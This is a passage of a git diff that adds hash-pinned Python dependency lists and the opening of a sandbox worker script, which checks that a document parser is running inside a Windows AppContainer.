--hash=sha256:23aceaa007d6172b02c277f0cd359c79492bbb14f7072b4ede9fbcaf20648130 --hash=sha256:164b31cd1a0490ab6efae01aa5df49da7061be0af1b30e035b6e9a1bfe34ee6e --hash=sha256:5afb51d599ea772b8365ae807ae557f18bccfe46ab261fd1c2a9ed700fc6eb17 --hash=sha256:3edce1d53195db527e0191f84b71d02022de0540bf43a16ed734ed7537b07385 --hash=sha256:bf16ba1b4d0b6b7c8e534936632270cf70eb00dbe09005bc345b2677b726855c --hash=sha256:24870b09b224f7ae3c39ed07d10e819d06f8720bc551847b1d623832b5b0e28d --hash=sha256:30f2aa603c41533cc25c05acd0da21636e84a315768feb631c937177db558931 --hash=sha256:4b0a7fe987b14c31ebda6083f74f22b561fd3739bc0ac51e019622e3d72668c7 --hash=sha256:962864dc93511324d51ddbb5b9f8731bf71675b93ca612a07441896f4688fb8c --hash=sha256:0740a512dc522224c77d9aa5a8d70d8b7d73fb91f2c21125d8d025d3b8990e45 --hash=sha256:af8d94b0db561cf68b88a267c5c44b49e134f525d0dc2cb7ed413a66bc23559a --hash=sha256:fdafc9cce40277e0f7a0feabce0ee50dd2fa1800f3b38015e51296b5e814048d --hash=sha256:e91206ee562682b51b98ef4b26a6ef48fd84e15fd4c4bc5ec768eb641d206838 --hash=sha256:0feb2e9d6ad6c9e3c06effe9d00f3f1e618a6643273576b016f591e9315a7139 --hash=sha256:9e881fca225083806662a5c43d627d215f258ff43c890f831966c7d7ba9c7402 --hash=sha256:4998562bf62a445225f22e07c896bb04b35b1b1f2eb6d760584c9c51d7a5f78c --hash=sha256:dc624f6bc473dacdf7ef7eb8678d0d08edf15cd94fad6ae5c7d6cc67a4e4902f --hash=sha256:71d6097b330eea8fd15097780c8e89cb1a8ce7838669f48c5bacd6f663dd4701 --hash=sha256:28ce87c5ab450a9dd970b52e5aca5fe63ed432d18a2eaddd1979a00a1ba24ace --hash=sha256:6b02afb9b97f65fbca5f31db6a2a3ba21aa93030225f150fa3f249717e938fb4 --hash=sha256:1182d52bc2d5e5d7d0949503aa7e36d12f42205dc287e4883f407b1988820d39 --hash=sha256:e795b7eb908249c4e43c7c99fac7c2c75dab0c43566e37db472a355f63693d71 --hash=sha256:e9871b1ffbfa9656b60aeee92ed5136a5742696006fa322b29ea3d8da0ecc9cf --hash=sha256:53aa02d20d10c3d814d536aa4e5ac9b84ca0ff5a88377963b085ad6822f93e64 --hash=sha256:446c34dcc4324b084a53b705127dc15717b22c5e140ae0a3c38349d4efec071e --hash=sha256:cf1845d02ad822a369a49f2bb9345b1614744267682e7a03527dc3bf6eea1777 --hash=sha256:186941b6aef820ad110fb01fb06eb925374dc3a21b17e37ec9a53b250c6fe2d1 --hash=sha256:f13c32a3abd6079a66d9526e18dad9b6d280384d49d7c54040cd57b6424041d9 --hash=sha256:1657923d2d45afb66526e5b933e5b3052e6bdea196c90d3abb2424e18c77dae8 --hash=sha256:8cd2f7bdda092d99c9fc2fb7391354f306d01443d22785d0cbfafa2e2c8bb418 --hash=sha256:06ff022112bc9cbf83b60f8e028d94ad87b60621706487e65f673de61610ab59 --hash=sha256:57b3d78c95ba9059768b10e28b813002261d3f3dfc55cc48b0c988f625175827 --hash=sha256:fa4ecea169a355be7a3ade2c783e2ed12f0e40d2c5621cda8b3297faf7fbb9f5 --hash=sha256:877c3f311ff35410f690861c4409e7ccbf0cd2f878e50628a28e5a0bb689e658 --hash=sha256:b3c777e849237620b022f7f297dd67705f9f5cf1685f09f02e46f93e92725468 --hash=sha256:b343699e8308bdc51978310e1c959c584e7869cc8c40780058c87da7781a1e94 --hash=sha256:fbd139c8447d25dd750ab79ee274cc5e1fe80fc56340ab10b18a195e1b6eca3e --hash=sha256:e7e480451b9fa137494bccd3a7d69adbe8ac65a87d97be61e11f1b1050a5bac3 --hash=sha256:04f01d28a6aaff387bf842a13be313df23ba0597a44f1a976c9feb3c6ff4711a +protobuf==7.36.2 --hash=sha256:cbc70b17ee27e28894c7fee8bb04be1abead49e936bc70eb60052531eee2079e --hash=sha256:e11e1f0180583a2af89db6a2ecd9e8dc40aa6d2988ca175bfd0e6d12ea72d74e --hash=sha256:f4fee11ec330d238b34a05c9b675f693c20415d1c5bd7d5320cc2f8a798eb9cf --hash=sha256:89f23aa53c24553a2416fd4fd1ec06f74fa42b14b546d8883128813f775bbfd2 --hash=sha256:912c1221170e16c08d1f086762f563dd61ff83c18b5fa6652952dfaded66f728 --hash=sha256:a300819d441e078a5608c0d3c709796bb548136058fda017ae51d425b44fd353 --hash=sha256:bdb3a345d48db958e6ce1f18e508beb0cc981d64f24088427549c866cd039f1e +pyclipper==1.4.0 --hash=sha256:bafad70d2679c187120e8c44e1f9a8b06150bad8c0aecf612ad7dfbfa9510f73 --hash=sha256:0b74a9dd44b22a7fd35d65fb1ceeba57f3817f34a97a28c3255556362e491447 --hash=sha256:0a4d2736fb3c42e8eb1d38bf27a720d1015526c11e476bded55138a977c17d9d --hash=sha256:b3b3630051b53ad2564cb079e088b112dd576e3d91038338ad1cc7915e0f14dc --hash=sha256:8d42b07a2f6cfe2d9b87daf345443583f00a14e856927782fde52f3a255e305a --hash=sha256:6a97b961f182b92d899ca88c1bb3632faea2e00ce18d07c5f789666ebb021ca4 --hash=sha256:adcb7ca33c5bdc33cd775e8b3eadad54873c802a6d909067a57348bcb96e7a2d --hash=sha256:fd24849d2b94ec749ceac7c34c9f01010d23b6e9d9216cf2238b8481160e703d --hash=sha256:1b6c8d75ba20c6433c9ea8f1a0feb7e4d3ac06a09ad1fd6d571afc1ddf89b869 --hash=sha256:58e29d7443d7cc0e83ee9daf43927730386629786d00c63b04fe3b53ac01462c --hash=sha256:a8d2b5fb75ebe57e21ce61e79a9131edec2622ff23cc665e4d1d1f201bc1a801 --hash=sha256:e9b973467d9c5fa9bc30bb6ac95f9f4d7c3d9fc25f6cf2d1cc972088e5955c01 --hash=sha256:222ac96c8b8281b53d695b9c4fedc674f56d6d4320ad23f1bdbd168f4e316140 --hash=sha256:f3672dbafbb458f1b96e1ee3e610d174acb5ace5bd2ed5d1252603bb797f2fc6 --hash=sha256:d1f807e2b4760a8e5c6d6b4e8c1d71ef52b7fe1946ff088f4fa41e16a881a5ca --hash=sha256:ce1f83c9a4e10ea3de1959f0ae79e9a5bd41346dff648fee6228ba9eaf8b3872 --hash=sha256:3ef44b64666ebf1cb521a08a60c3e639d21b8c50bfbe846ba7c52a0415e936f4 --hash=sha256:d1e5498d883b706a4ce636247f0d830c6eb34a25b843a1b78e2c969754ca9037 --hash=sha256:d49df13cbb2627ccb13a1046f3ea6ebf7177b5504ec61bdef87d6a704046fd6e --hash=sha256:37bfec361e174110cdddffd5ecd070a8064015c99383d95eb692c253951eee8a --hash=sha256:14c8bdb5a72004b721c4e6f448d2c2262d74a7f0c9e3076aeff41e564a92389f --hash=sha256:f2a50c22c3a78cb4e48347ecf06930f61ce98cf9252f2e292aa025471e9d75b1 --hash=sha256:c9a3faa416ff536cee93417a72bfb690d9dea136dc39a39dbbe1e5dadf108c9c --hash=sha256:d4b2d7c41086f1927d14947c563dfc7beed2f6c0d9af13c42fe3dcdc20d35832 --hash=sha256:7c87480fc91a5af4c1ba310bdb7de2f089a3eeef5fe351a3cedc37da1fcced1c --hash=sha256:81d8bb2d1fb9d66dc7ea4373b176bb4b02443a7e328b3b603a73faec088b952e --hash=sha256:773c0e06b683214dcfc6711be230c83b03cddebe8a57eae053d4603dd63582f9 --hash=sha256:9bc45f2463d997848450dbed91c950ca37c6cf27f84a49a5cad4affc0b469e39 --hash=sha256:f160a2c6ba036f7eaf09f1f10f4fbfa734234af9112fb5187877efed78df9303 --hash=sha256:a9f11ad133257c52c40d50de7a0ca3370a0cdd8e3d11eec0604ad3c34ba549e9 --hash=sha256:bbc827b77442c99deaeee26e0e7f172355ddb097a5e126aea206d447d3b26286 --hash=sha256:29dae3e0296dff8502eeb7639fcfee794b0eec8590ba3563aee28db269da6b04 --hash=sha256:0b8c2105b3b3c44dbe1a266f64309407fe30bf372cf39a94dc8aaa97df00da5b --hash=sha256:6c317e182590c88ec0194149995e3d71a979cfef3b246383f4e035f9d4a11826 --hash=sha256:98b2a40f98e1fc1b29e8a6094072e7e0c7dfe901e573bf6cfc6eb7ce84a7ae87 +pypdf==6.20.1 --hash=sha256:aa5a55ddcffdc5e5ab291d5decb23f6383f4e56f8e3263dc39af41fff03885ad +PyYAML==6.0.3 --hash=sha256:214ed4befebe12df36bcc8bc2b64b396ca31be9304b8f59e25c11cf94a4c033b --hash=sha256:02ea2dfa234451bbb8772601d7b8e426c2bfa197136796224e50e35a78777956 --hash=sha256:b30236e45cf30d2b8e7b3e85881719e98507abed1011bf463a8fa23e9c3e98a8 --hash=sha256:66291b10affd76d76f54fad28e22e51719ef9ba22b29e1d7d03d6777a9174198 --hash=sha256:9c7708761fccb9397fe64bbc0395abcae8c4bf7b0eac081e12b809bf47700d0b --hash=sha256:418cf3f2111bc80e0933b2cd8cd04f286338bb88bdc7bc8e6dd775ebde60b5e0 --hash=sha256:5e0b74767e5f8c593e8c9b5912019159ed0533c70051e9cce3e8b6aa699fcd69 --hash=sha256:28c8d926f98f432f88adc23edf2e6d4921ac26fb084b028c733d01868d19007e --hash=sha256:bdb2c67c6c1390b63c6ff89f210c8fd09d9a1217a465701eac7316313c915e4c --hash=sha256:44edc647873928551a01e7a563d7452ccdebee747728c1080d881d68af7b997e --hash=sha256:652cb6edd41e718550aad172851962662ff2681490a8a711af6a4d288dd96824 --hash=sha256:10892704fc220243f5305762e276552a0395f7beb4dbf9b14ec8fd43b57f126c --hash=sha256:850774a7879607d3a6f50d36d04f00ee69e7fc816450e5f7e58d7f17f1ae5c00 --hash=sha256:b8bb0864c5a28024fac8a632c443c87c5aa6f215c0b126c449ae1a150412f31d --hash=sha256:1d37d57ad971609cf3c53ba6a7e365e40660e3be0e5175fa9f2365a379d6095a --hash=sha256:37503bfbfc9d2c40b344d06b2199cf0e96e97957ab1c1b546fd4f87e53e5d3e4 --hash=sha256:8098f252adfa6c80ab48096053f512f2321f0b998f98150cea9bd23d83e1467b --hash=sha256:9f3bfb4965eb874431221a3ff3fdcddc7e74e3b07799e0e84ca4a0f867d449bf --hash=sha256:7f047e29dcae44602496db43be01ad42fc6f1cc0d8cd6c83d342306c32270196 --hash=sha256:fc09d0aa354569bc501d4e787133afc08552722d3ab34836a80547331bb5d4a0 --hash=sha256:9149cad251584d5fb4981be1ecde53a1ca46c891a79788c0df828d2f166bda28 --hash=sha256:5fdec68f91a0c6739b380c83b951e2c72ac0197ace422360e6d5a959d8d97b2c --hash=sha256:ba1cc08a7ccde2d2ec775841541641e4548226580ab850948cbfda66a1befcdc --hash=sha256:8dc52c23056b9ddd46818a57b78404882310fb473d63f17b07d5c40421e47f8e --hash=sha256:41715c910c881bc081f1e8872880d3c650acf13dfa8214bad49ed4cede7c34ea --hash=sha256:96b533f0e99f6579b3d4d4995707cf36df9100d67e0c8303a0c55b27b5f99bc5 --hash=sha256:5fcd34e47f6e0b794d17de1b4ff496c00986e1c83f7ab2fb8fcfe9616ff7477b --hash=sha256:64386e5e707d03a7e172c0701abfb7e10f0fb753ee1d773128192742712a98fd --hash=sha256:8da9669d359f02c0b91ccc01cac4a67f16afec0dac22c2ad09f46bee0697eba8 --hash=sha256:2283a07e2c21a2aa78d9c4442724ec1eb15f5e42a723b99cb3d822d48f5f7ad1 --hash=sha256:ee2922902c45ae8ccada2c5b501ab86c36525b883eff4255313a253a3160861c --hash=sha256:a33284e20b78bd4a18c8c2282d549d10bc8408a2a7ff57653c0cf0b9be0afce5 --hash=sha256:0f29edc409a6392443abf94b9cf89ce99889a1dd5376d94316ae5145dfedd5d6 --hash=sha256:f7057c9a337546edc7973c0d3ba84ddcdf0daa14533c2065749c9075001090e6 --hash=sha256:eda16858a3cab07b80edaf74336ece1f986ba330fdb8ee0d6c0d68fe82bc96be --hash=sha256:d0eae10f8159e8fdad514efdc92d74fd8d682c933a6dd088030f3834bc8e6b26 --hash=sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c --hash=sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb --hash=sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac --hash=sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310 --hash=sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7 --hash=sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788 --hash=sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5 --hash=sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764 --hash=sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35 --hash=sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3 --hash=sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba --hash=sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c --hash=sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702 --hash=sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c --hash=sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065 --hash=sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65 --hash=sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9 --hash=sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b --hash=sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac --hash=sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3 --hash=sha256:c2514fceb77bc5e7a2f7adfaa1feb2fb311607c9cb518dbc378688ec73d8292f --hash=sha256:9c57bb8c96f6d1808c030b1687b9b5fb476abaa47f0db9c0101f5e9f394e97f4 --hash=sha256:efd7b85f94a6f21e4932043973a7ba2613b059c4a000551892ac9f1d11f5baf3 --hash=sha256:22ba7cfcad58ef3ecddc7ed1db3409af68d023b7f940da23c6c2a1890976eda6 --hash=sha256:6344df0d5755a2c9a276d4473ae6b90647e216ab4757f8426893b5dd2ac3f369 --hash=sha256:3ff07ec89bae51176c0549bc4c63aa6202991da2d9a6129d7aef7f1407d3f295 --hash=sha256:5cf4e27da7e3fbed4d6c3d8e797387aaad68102272f8f9752883bc32d61cb87b --hash=sha256:b865addae83924361678b652338317d1bd7e79b1f4596f96b96c77a5a34b34da --hash=sha256:c3355370a2c156cffb25e876646f149d5d68f5e0a3ce86a5084dd0b64a994917 --hash=sha256:3c5677e12444c15717b902a5798264fa7909e41153cdf9ef7ad571b704a63dd9 --hash=sha256:5ed875a24292240029e4483f9d4a4b8a1ae08843b9c54f43fcc11e404532a8a5 --hash=sha256:0150219816b6a1fa26fb4699fb7daa9caf09eb1999f3b70fb6e786805e80375a --hash=sha256:fa160448684b4e94d80416c0fa4aac48967a969efe22931448d853ada8baf926 --hash=sha256:27c0abcb4a5dac13684a37f76e701e054692a9b2d3064b70f5e4eb54810553d7 --hash=sha256:1ebe39cb5fc479422b83de611d14e2c0d3bb2a18bbcb01f229ab3cfbd8fee7a0 --hash=sha256:2e71d11abed7344e42a8849600193d15b6def118602c4c176f748e4583246007 +rapidocr==3.8.1 --hash=sha256:650044b1fbce9e6bae5cae462dcf8be754cde11e2f23fc51f65dcc08deae2c46 +requests==2.34.2 --hash=sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0 +shapely==2.2.0 --hash=sha256:596b7994ceafa526b6e0522ca29fbc41d19f86459161d6efe1f251d0acd49f3f --hash=sha256:7c0b262116bb75b86751440b42e19673911bc0a8f0d5ce723ce294c3d6e4d5c0 --hash=sha256:7765e0e5d51d63eae0a911861cbda87165a01677bc9bce6ed20d06858ccde99f --hash=sha256:5d61088e2ef71dafad0dd4fae8a521cc1f20da4a89d3096bab5b3260b39b3052 --hash=sha256:0edec813c81effaf4e20c18b1aa86827925ce27c0315621f2a1a080e22e0de5e --hash=sha256:8d6ffe94710f37535a47161120cd5f7f0f0d9bb800c2fddebbd089cb7f1b3453 --hash=sha256:ce858295be3947143a3f44f145fa6dbacd5dcc5c4103801d42cd3be4a2034614 --hash=sha256:806d399418b23eee7241736d572ad1e0b784782f9241d7c8e2cfceb00787831d --hash=sha256:5b740c9a197e5feb30bdc6e64a5eb3ca2a7324d11498844136dfc317daac6a99 --hash=sha256:626fe4c0d32860a98e75ecffabf5a62254c6168eac96b633ad313cd62a38bb2b --hash=sha256:c36ccbff5c3374c349c370bfdac22c7676b268b4a707c98e9031f498965aa02d --hash=sha256:a9a380624cdd7a7e661bf15a4d1625082766f07ccd2540cb0a9e0df1ad4f6c11 --hash=sha256:650a5f4d8a8e3c96982079d8c99b6ddbe6602bbd1e34c75c2b95dbc0d28ac997 --hash=sha256:a851e077f0f02a3383923e02eca5447a29ddbf234e39593b91c8b7ac75218133 --hash=sha256:dc5faa593948aa64d9afae48331b80f43f7aacc68425d99064a4d6772f53f1ad --hash=sha256:da47a0cc9e630b4dff0db46e8972b29d2d27f337425ce9d4c77fd046ce48eabd --hash=sha256:90895df6542ae039fc6557dec6194e3509e883fbd6f5788e3c3e7a38fe46b257 --hash=sha256:7cf5b3a801b9b4febf774efde2e31280e647388deae8452693d8e6420b3a1ff2 --hash=sha256:c037369c35510f51100dd6d386ee3203bac32f164d53e27ca12c3cea5bb643b1 --hash=sha256:d75957716368f919c63016dae1977a0d007e15f06861cd178701edb91b08d2b0 --hash=sha256:4ed79beb8d4b6cc7c67780fd381feed25848a5f9b8a2385ac5711eccd115647a --hash=sha256:f340e7f99aaee3df5acd6b247cddf723051a7c93d1e1ef09025b80d84e4c0ded --hash=sha256:17434cb9819c9974c3331333a3b878fa5bf8f85dd69cc3fb7ff5d260f6fbc102 --hash=sha256:b2338ac40e6652c8bfb857936ea9be9a16f43a362c6f67eb3bad741b05fd5683 --hash=sha256:40871d7135cd723f965d200181aa28418e9ec029fd85bdd010488259d1c01906 --hash=sha256:1eaa2cb64cdedaf65d6bc86f2819c9cd7d6d68f969aa3ebfdc93743ab581f437 --hash=sha256:f79b3b34ad2d067207f21f821489c720b14ce40f3bfda931987a193165f80133 --hash=sha256:000c0ce2a3ba49427e6288b7add9de5d8525d4e65d6ebc8840103040d4d57b86 --hash=sha256:0a63e6b68ec785ef3aae3935c4aa9fb8edccced94e23c79d5d85276442c60859 --hash=sha256:770d4db5cf0bfeed931a1c4aaf4f4eadad0f43f5fc72c27c88fe1f07904ae767 --hash=sha256:74f4313af38d6e49ea83532d6cedfb4fe5e6c5485d7c40202bd61b19d6ff09bf --hash=sha256:9ee11aeba1759d15a525ded58e17916d3edfa60d52110fd8df6a7609a871f066 --hash=sha256:24b175c570efc91d1180ac6cd527dc80e863bb7de37f8b2771703d822c65e023 --hash=sha256:c2915ae1b858e73d5832be7fb5e89497cc5140fa505da40a45223029dc6deace --hash=sha256:74028f468e05e461b30a479b08c1fb5094fa45062abeeec8e7905a6711761436 --hash=sha256:6ec5178a39803fa8626322f69d298037f182461dd28e3ae96c2c7a4309a6bf30 --hash=sha256:593e51cd04fe1122f1ab3fae87b306c36b2be0184a5e0d9c26849c55ff4580dc --hash=sha256:3575a323b7665d7a2e391b16a626caa6b6f6348f399183aca3fc656febd7cf04 --hash=sha256:776cc8571d53e42be8fa6d42ad52a599b8e2186dd0c752922831508099af71e2 --hash=sha256:f8cd733a66a2a10f461a70dde9fad7b2b62c6a48c7a66cea57ee6f1cd9f2bd2f --hash=sha256:7f68c1fbacab81c0c066d1c3051eeb0f680b7a7a2c511e741f77741640187896 --hash=sha256:9147ebc3b116a0511dca043937f85caf1a41690815643d5b89c8bc472f51c850 --hash=sha256:4e5830637c080bdc646c5982ad6f7cc296b93038879649f7a6acd8e0f1c4db04 --hash=sha256:48dd1d961391f314ab7fa8812c86ca2a727bee2bdca1478730eacaea007da18e --hash=sha256:c4127c064bc71f8b7f9b3f341d6627ed39977fd0b61a17c68d09179f5e0089ae --hash=sha256:715561ceda03b09ca1c6baf9922179392d8c2bc53a1b877965225f0dfb487a58 --hash=sha256:556f20346a7d96fefbb71b74640d84ca14041703d60f0d2ff47b29d9b3e0093d --hash=sha256:ff9e87b534edf35af65758fafb31ad3b797354cba9323899e263f450c69a2ff2 --hash=sha256:fdb599ec540cea5b635ac47bf24fca4cdfd1c39730ffc0b6cf0d2666b0dd9a33 --hash=sha256:b8cb04906b74db26f848f76744fa995cd6abeae9145d27cc405277de1f949660 --hash=sha256:d9b11d712ac72f1d869f2b6964dea5bd9f20b89901adcd796d6712496144ab22 --hash=sha256:c88b21a0e9599ebb741e08f71a95c8f07a434af909efb088828a9874d234d06d --hash=sha256:cbe184e1946cfe115a9dfeadd2effd88ab4a237ab1a4335d106defa80fbc2d82 --hash=sha256:8bc985ad731da2f2cedde9c3cfb3c3d946fe6fc63d2ca557673dc33dd1e389b9 --hash=sha256:c3caa4c6308e7eaf18f4661134a1575eb290a56df78d0ae1b02f919a4cc7bd9d --hash=sha256:2fd87e55d7a7d310553b527378545cdc6ef8702473ed9294926b892c3cfb2ba0 --hash=sha256:7416db8ff3a1003687d4118e741343b3cf9ac2a4a925a59d44d98a865ac4e9e7 --hash=sha256:778421a19085bef1fb38bc0699db1ee9b08fdd0e30a8768788d601a4371f2de0 --hash=sha256:287ec7602f7a114b862ae0123880e57160cebe059843a4c7028aaee9e74287f6 --hash=sha256:e414c78bc81aadd76a429111a350f4ef3d05fc13019805617b524951258468e5 --hash=sha256:1af6935acde1db0b6a1bcbea30cbad5ae900723dfd398367ae1488470dc53667 --hash=sha256:96e5101ad2d73df869255bae4c55537f372d32066e2328c376e09841f0f66800 --hash=sha256:446b2d5a323bddd1c2a27f41325fdb3a3e8e33c1f8f0f840bdb63e8c1515b29e +six==1.17.0 --hash=sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274 +sympy==1.14.0 --hash=sha256:e091cc3e99d2141a0ba2847328f5479b05d94a6635cb96148ccb3f34671bd8f5 +tqdm==4.70.1 --hash=sha256:c293e525e6fef9c20e8728fd4612df02a0aa31bb5fe91ecd93e123b1b7bffa73 +urllib3==2.8.0 --hash=sha256:0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3 +yara-python==4.5.4 --hash=sha256:721d341bd2013fbada4df5aba0eb79a9e4e21c4b86441f7f111ab8c31671f125 --hash=sha256:c785fd16475f2a3191cd4fae0cd608b1ba6271f495ec86fa26a3c5ac53f5f2e1 --hash=sha256:5eefa3b157cd5f4454a317907bab334036f61385324b70cb61dbc656c44168d5 --hash=sha256:bbc0c5a2ee67e6043e4c2622093ebfc7d2c173dc643dd089742aedbdea48d6a4 --hash=sha256:1b091f1bd6c5d2a9b5c0c682ba67ba31b87bb71b27876430775998b71c8e3f97 --hash=sha256:91276c90bb5e148e10050015fec8a1d4009a95eee9eb832d154f80355d0b4080 --hash=sha256:7e20e1f69b6239fe4f4da97e9ff361d9be25d6f1d747589ea44b8a9ec412a12d --hash=sha256:a83773b561727fc360f7a6874f7fac1409bc9c391134dc3e070f1c2515c0db98 --hash=sha256:14f203bd9fb33ad591e046429560133127fa4a6201dac28c525fa7c6c7ca36a7 --hash=sha256:e632daf9f38f8d4b433f08f798b07a45756e6c396e9e0ec54aac10045f6d241d --hash=sha256:a3866830f7f2d071f94cbce7c41d91444ac29e2cbbe279914abf518d57a2d41f --hash=sha256:135c1097ea0445a323038acd509162675ce6d5e21f848aa856779632d48dec42 --hash=sha256:e3e2a5575d61adc2b4ff2007737590783a43d16386b061ac12e6e70a82e5d1de --hash=sha256:f79a27dbdafb79fc2dc03c7c3ba66751551e3e0b350ab69cc499870b78a6cb95 --hash=sha256:9d9acf6f8135bcee03f47b1096ad69f4a2788abe37dd070aab6e9dd816742ecc --hash=sha256:0e762e6c5b47ddf30b0128ba723da46fcc2aa7959a252748497492cb452d1c84 --hash=sha256:adcfac4b225e76ab6dcbeaf10101f0de2731fdbee51610dbc77b96e667e85a3a --hash=sha256:a82c87038f0da2d90051bfd6449cf9a4b977a15ee8372f3512ce0a413ef822fd --hash=sha256:1a1721b61ee4e625a143e8e5bf32fa6774797c06724c45067f3e8919a8e5f8f3 --hash=sha256:57d80c7591bbc6d9e73934e0fa4cbbb35e3e733b2706c5fd6756edf495f42678 --hash=sha256:3872b5f5575d6f5077f86e2b8bcdfe8688f859a50854334a4085399331167abc --hash=sha256:fd84af5b6da3429236b61f3ad8760fdc739d0e1d6a08b8f3d90cd375e71594df --hash=sha256:491c9de854e4a47dfbef7b3a38686c574459779915be19dcf4421b65847a57ce --hash=sha256:2a1bf52cb7b9178cc1ee2acd1697a0c8468af0c76aa1beffe22534bd4f62698b --hash=sha256:ade234700c492bce0efda96c1cdcd763425016e40df4a8d30c4c4e6897be5ace --hash=sha256:e1dedd149be61992781f085b592d169d1d813f9b5ffc7c8c2b74e429b443414c --hash=sha256:92b233aae320ee9e59728ee23f9faf4a423ae407d4768b47c8f0e472a34dbae2 --hash=sha256:1f238f10d26e4701559f73a69b22e1e192a6fa20abdd76f57a7054566780aa89 --hash=sha256:d29d0e137e0d77dd110186369276e88381f784bdc45b5932a2fb3463e2a1b1c7 --hash=sha256:e7d0039d734705b123494acad7a00b67df171dd5b1c16ff7b18ff07578efd4cd --hash=sha256:e5eae935b05a9f8dc71df55a79c38f52abd93f8840310fe4e0d75fbd78284f24 --hash=sha256:30fc7959394532c6e3f48faf59337f5da124f1630668258276b6cfa54e555a6e --hash=sha256:e6d8c2acaf33931338fdb78aba8a68462b0151d833b2eeda712db87713ac2abf --hash=sha256:a3c7bc8cd0db5fb87ab579c755de83723030522f3c0cd5b3374044055a8ce6c6 --hash=sha256:d12e57101683e9270738a1bccf676747f93e86b5bc529e7a7fb7adf94f20bd77 --hash=sha256:bf14a8af06b2b980a889bdc3f9e8ccd6e703d2b3fa1c98da5fd3a1c3b551eb47 --hash=sha256:fe8ad189843c729eae74be3b8447a4753fac2cebe705e5e2a7280badfcc7e3b4 --hash=sha256:94e290d5035be23059d0475bff3eac8228acd51145bf0cabe355b1ddabab742b --hash=sha256:4537f8499d166d22a54739f440fb306f65b0438be2c6c4ecb2352ecb5adb5f1c --hash=sha256:ab5133a16e466db6fe9c1a08d1b171013507896175010fb85fc1b92da32e558c --hash=sha256:93f5f5aba88e2ed2aaebfbb697433a0c8020c6a6c6a711e900a29e9b512d5c3a --hash=sha256:473c52b53c39d5daedc1912bd8a82a1c88702a3e393688879d77f9ff5f396543 --hash=sha256:9d9a58b7dc87411a2443d2e0382a111bd892aef9f6db2a1ebb4a9215eef0db71 --hash=sha256:0b9de86fbe8a646c0644df9e1396d6941dc6ed0f89be2807e6c52ab39161fd9f --hash=sha256:973f0bc24470ac86b6009baf2800ad3eadfa4ab653b6546ba5c65e9239850f47 --hash=sha256:cb0f0e7183165426b09e2b1235e70909e540ac18e2c6be96070dfe17d7db4d78 --hash=sha256:7707b144c8fcdb30c069ea57b94799cd7601f694ba01b696bbd1832721f37fd0 --hash=sha256:5f1288448991d63c1f6351c9f6d112916b0177ceefaa27d1419427a6ff09f829 --hash=sha256:7205c36a6798251925e4c1763eba0737fec7a95360df8aaa4e74e2f2f6b5cdcf --hash=sha256:9c77711a4e469ea97bdd16e85b5ab0720d6a481862a540ea7216897a10e93d19 --hash=sha256:9e6f0ca64cf9b0125be8fe8b821ba7e0f80427bcee136f83914dff0d81b4f27a --hash=sha256:8caad9de64dc4fc9614f331a04ea220d57aea3fbf997f3e23a298ee67cf4a69c --hash=sha256:9d5fcf99187cb6ec0a27c755aec22774a1ea578fdc2a5734f484c601de4ad6c0 --hash=sha256:bdbb62003cced7739d5c98c5af7a08c819baedf12e09276b2bbf0f3cb47828af --hash=sha256:5f901ec61db76a326f77882c8000139b29f218a7c6b8dd997195bab265602345 --hash=sha256:99f8d1145c11f61340fcd19fd6f3f3ef6306910829f4218daece45e831ceb54e --hash=sha256:da826f12c6fa459c6b2f9e7dff3a57416ac3a6536264f7a10d1ff839d4bc943f --hash=sha256:ebacf0b3325b3fb6f15bc3526f39f39c3576bafa4857493cc90afd2651ec8d36 --hash=sha256:e6eba7d4387f8123dd69852ba6776799150c4019fcb3e1212a3b053d42e151ab --hash=sha256:9addd1d6fe9d3b1efe40c7a37fa5d88fe6cd7e22c7e454617beb382c9c74b11b diff --git a/apps/inspector/requirements.txt b/apps/inspector/requirements.txt new file mode 100644 index 0000000..9eedbdb --- /dev/null +++ b/apps/inspector/requirements.txt @@ -0,0 +1,6 @@ +pypdf>=6,<8 +Pillow>=12,<14 +defusedxml>=0.7,<1 +yara-python==4.5.4 +rapidocr==3.8.1 +onnxruntime==1.24.4 diff --git a/apps/inspector/sandbox_worker.py b/apps/inspector/sandbox_worker.py new file mode 100644 index 0000000..715fea7 --- /dev/null +++ b/apps/inspector/sandbox_worker.py @@ -0,0 +1,59 @@ +"""Single-request parser entrypoint, launched only inside the AppContainer.""" +import base64 +import json +import os +import sys +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + + +def attest_appcontainer(): + import ctypes + from ctypes import wintypes as W + if sys.platform != 'win32': raise RuntimeError('Windows AppContainer required') + kernel=ctypes.WinDLL('kernel32',use_last_error=True) + advapi=ctypes.WinDLL('advapi32',use_last_error=True) + 